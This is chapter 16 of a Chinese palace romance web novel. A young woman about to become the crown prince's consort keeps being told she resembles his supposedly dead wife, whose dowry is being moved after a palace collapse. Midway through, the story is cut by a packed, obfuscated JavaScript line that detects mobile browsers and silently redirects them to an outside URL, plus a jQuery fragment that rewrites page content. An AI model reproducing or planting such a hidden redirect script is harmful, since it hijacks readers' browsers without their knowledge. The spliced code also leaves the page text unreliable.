16.第 16 章
作品:《亡妻回来后》 话落,他没给姜渺再开口的机会,抬步离开了书房。
岚苑外那一场闹腾的事,阿眉坐在屋里都听得清清楚楚,她一点也没敢露面,坐在床榻一角屏息凝神。
好不容易人走了一会,她一口气还没松开,下一刻,门边衣袍掠过。
“吓着了?”
姜迟一眼看到她大喘气的样子。
“太子殿下。”
她连忙站起来。
“没有……没有吓到,我是觉得……”
她组织了一下措辞。
“她的声音好熟悉。”
姜迟缓缓看向她,声音不自觉发紧了一下。
“你想起……你见过她?”
阿眉点点头,又摇摇头。
“这位是……”
“我的妹妹,端阳公主。”
姜迟一错不错地盯着她。
“那我肯定是没见过公主殿下的,就是觉得声音好似在哪听……应该是我记错了。”
阿眉摇摇头,将那一点熟悉感抛之脑后。
姜迟低下眼,轻轻嗯了一声。
“大喜定在年二十八,宫人这几日已经在准备,你可有什么想要的?”
“一切都听殿下的就好。”
今儿已经是小年了,离二十八也没几天。
阿眉心里有一丝紧张。
“殿下,大婚的流程和规矩……可需我提前学一学?”
她曾在话本子里看过,这些大户人家,尤其还是皇宫里的,任何大事小事都是很讲规矩的。
虽然纳侧妃应当不会有很多人来,她也不想在外头给太子丢面子。
“不用。”
姜迟摇头。
“新喜的流程墨兰会全部学一遍,那天她跟在你身边。”
他望向阿眉孱弱的神色。
“药都按时喝了吗?”
阿眉点头。
自从上次发热后,她一直喝着药,墨兰说是调养身子的。
“那天会从早上忙到黄昏礼罢,你那天若是撑不住便让墨兰叫我。”
他又在屋子里待了一会,直到快午时才离开。
年关将至,腊月的京城冷得厉害,这几天时常飘雪,姜迟出了院子,墨兰从院外进来,压低了声音。
“主子,方才宫人来报,颐华宫的侧梁柱子因为受寒受潮塌了一截,里面的东西……”
颐华宫,是三年前楚眉嫁进来之前收拾的宫殿,大婚后,他将她所有的东西都存在了那。
这宫殿他当年特意使人翻修过,才三年侧梁柱子就塌了?
姜迟蹙眉。
“东西如何?”
“没损坏,有两幅画受潮了。”
“画送回律政殿,东西……”
他往岚苑的方向看了一眼。
“先收回库中,单独放着。”
墨兰立刻遣人去办了,而后姜迟离开东宫,到了御书房。
“我怎么听说你这侧妃还是沈府出去的?”
建安帝皱眉看着他,眼中有打量。
“你什么时候何沈炜有往来了?”
“没有。”
姜迟眼中暗色一闪而过。
建安帝摆摆手。
“也罢,你自己掂量清楚。
纳侧妃不是小事,这丫头出身低,这几天朕让皇后派几个嬷嬷过去教教她规矩。”
“不用。”
姜迟回答的很快。
“儿臣宫中的人,儿臣会教她,不用嬷嬷去。”
“那也得让你母后提前见见,教几句吉祥话,大喜之日可别惹了笑话。”
“也不必。”
建安帝眯起眼打量他。
“自从入了宫,你宫里的这个被你护得眼珠子似的,如今不过是让你母后提前见见,你也不愿?”
他可是听说端阳去都被拦了回来。
建安帝心中警铃大作。
难道是个丑八怪?
“再不济……你让朕提前见见?”
“不必,等到了时候,该见的自然见。”
姜迟弯腰。
“儿臣告退。”
*
姜迟走后,外面的雪越下越大,对于阿眉这个记忆里从来没见过雪的人格外有吸引力。
“我能出去瞧瞧吗?”
墨兰不在这,她问向一旁的宫女。
宫女们吓了一跳。
“您想去自然是能的。”
她们哪有本事做主子的主。
阿眉顿时裹紧衣裳跑了出去。
外面一片银装素裹,将原本就漂亮的岚苑妆扮得格外漂亮。
阿眉左顾右盼,看着看着就走出了岚苑。
岚苑外拐角处有一棵梅树,银白的雪照着枝头怒放的红梅格外惹眼,她刚要凑近过去,一转头,和拐弯的宫女撞到了一起。
“咣当——”
宫女手里的两幅画摔在了地上。
“啊——”
“对不住主子,奴婢该死。”
宫女一边道歉一边连忙去抱两幅画,抬头看到阿眉的刹那,她原本冻得通红的脸色一片惨白,惊恐地瞪大眼。
“鬼啊!”
什么鬼?
阿眉被突如其来的尖叫声吓了一跳,一个激灵抬起头。
“鬼……不是……”
“啪!”
墨兰从后面走上来,一个巴掌甩在了宫女脸上。
她在阿眉低头之前将地上两幅画紧紧抱在了怀里,严厉地扫了宫女一眼。
“胡说什么呢?看清楚这是侧妃娘娘。”
宫女还恍惚在这张脸和画中人的相似上,下意识喃喃。
“可是真的很像……”
“啪。”
墨兰又一巴掌甩了过去,捂住了她的嘴。
“还不拉下去?”
后头的几个宫女连忙上前拖着她拖下去了,阿眉这才回过神。
“我没事,不用……”
墨兰连忙笑着安抚她。
“她今儿发高热犯了癔症,冲撞了您是该有罚的,您莫怕。”
她扶着阿眉。
“奴婢扶您回去吧,外面这么冷。”
阿眉看着这一长队抬着箱子的宫女们。
“你们这是……”
墨兰紧了紧手中的两幅画。
“那边有处宫殿塌了,将东西拾掇出来。”
阿眉记得那箱子上还有红色的绢帛,看着像是……
“嫁妆?”
墨兰颔首。
“是太子妃娘娘的嫁妆。”
提到这位太子妃,阿眉顿时想起东宫外的那些流言。
看来太子殿下……真的很不喜欢那位太子妃,东西搁在废殿里塌了才收拾出来。
她在心里嘀咕了一句,自然不敢说出来,乖乖跟着墨兰往回走。
走了两步,她突然想起。
“她刚才说像……是说的什么?”
阿眉问这话的时候,原是真的有点好奇的,她细想起,从入宫那天见到三皇子,再到今儿这个宫女,都说什么像像像。
“总不能是大象吧。”
她嘟囔着,又好奇看向墨兰。
墨兰抱着画像的动作更紧,她笑了一声。
“她真是魇住了,胡说呢,姑娘何必当真。
外面雪大了,姑娘快些进去吧,奴婢还得往律政殿去一趟呢,将东西给殿下送去。”
阿眉将话咽回去,一张冻得俏红的脸上露出个笑,朝她摆摆手。
“路上慢点。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17223721|196407||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她走在回去的路上,不由想起那位传闻中死在大婚前的太子妃。她从前在离京城那么远的巴蜀,也没少听说这件事。
盖因众人提到太子姜迟,总是会同时想起他的太子妃,这个在他身上被多年诟病的污点。
太子妃出身不高,唯一好命的就是得皇上赐婚嫁入二皇子府,她的身份算高攀,这桩亲事没少被人诟病。
众人都觉得二皇子实在可惜,好端端的,别的皇子正妃侧妃都有位高权重的外戚,他呢?因为当年外祖反叛的事不得皇上喜欢,连正妃都这么随便赐了个商人之女。
商女也就罢了,偏生又实在没福气,大婚前换哪家姑娘不在家里绣嫁妆试婚服,她偏要同母亲去佛影寺上香,下山的时候一头栽下去成了个孤魂野鬼。
这回可惹了二皇子不满,金銮殿内楚老爷带着夫人跪地请罪也没让二皇子消气,他当着皇帝的面把楚夫人斩了,血溅金銮殿,连名声也不要了以示反抗,谁料皇帝为了稳固楚家的进税,还是把这个死了的女人赐进了皇子府。
大雍开朝以来,大概是头一桩皇子龙孙娶牌位的亲事,二皇子迎亲当天脸色白得跟鬼似的,走完亲事人就昏死在了屋里,足足三天才醒。
肯定是气的吧!
这桩事口口相传,没少被人私下说道取笑,听说二皇子迎了亲也没待见牌位,东西全都堆在宫殿一角,三年了看也没看一眼,东宫的人更是丝毫也不准提到这太子的逆鳞。
阿眉迈进院子,眨眨眼问旁边的宫女。
“方才抬过去的是太子妃的嫁妆吗?这位娘娘……”
她话没说完宫女就惊慌低下头。
“奴婢什么也不知道。”
声音里还有点颤抖。
阿眉想,看来传闻真得很。
雪越下越大,年关前的朝堂事又多又杂,又加上二十八的喜事,姜迟每日都忙到快子时才回宫,一连三日没有来见阿眉。
二十六的晚上,姜迟进了岚苑。
屋子里的炭火正旺,少有的多了点人气,她和姜迟一起吃了饭,戌时二刻,姜迟回到律政殿。
腊月二十七,大婚前一日,整个东宫已经在筹备着挂上红绸,宫人们忙来忙去,阿眉坐在屋子里,看着外头的雪和忙来忙去恨不得长八只手的墨兰。
“喝盏茶歇歇。”
她给墨兰倒水,墨兰连连说着谢姑娘,端着茶盏却没喝。
“主子还在忙着,我们做奴婢的哪歇得了。”
主子忙着?
阿眉知道这几天姜迟忙得很,年关了大家都忙,如今听墨兰这话的意思是在忙……婚事?
这念头一出来阿眉就浑身激灵地把它甩了什么。
看话本看魔怔了?
太子日理万机,哪有空管纳侧妃的小事。
如此说着小事,想起明天就是吉日,她还是有一丝紧张,将手里看了一半的话本合上,跑出去喊墨兰。
“有什么我能帮的吗?”
墨兰伸出一只手把她摁回去。
“您好好等着做新嫁娘就是。”
这一日几乎是一转而过。
第二天新喜,阿眉今晚早早躺在床上了,她知道明儿得很忙,于是打算早早睡了养精蓄锐。
可是在床上翻来覆去,数了八百六十一只羊,想了过去一千天发生的事,还在脑子里回忆了五十六本话本的故事情节,她依旧没有睡着。
她睁着眼,觉得这件事还是太恍惚了。
她从前在侯府为了不做太子侍妾雨夜跑出去差点被打死,结果没到半个月,还是被塞进了东宫。
那折腾来折腾去,还不是吃力不讨好?
“也不算不讨好。”
她皱着眉攥紧被子,认真地想。
从“侍妾”到侧妃,算赚了吧?

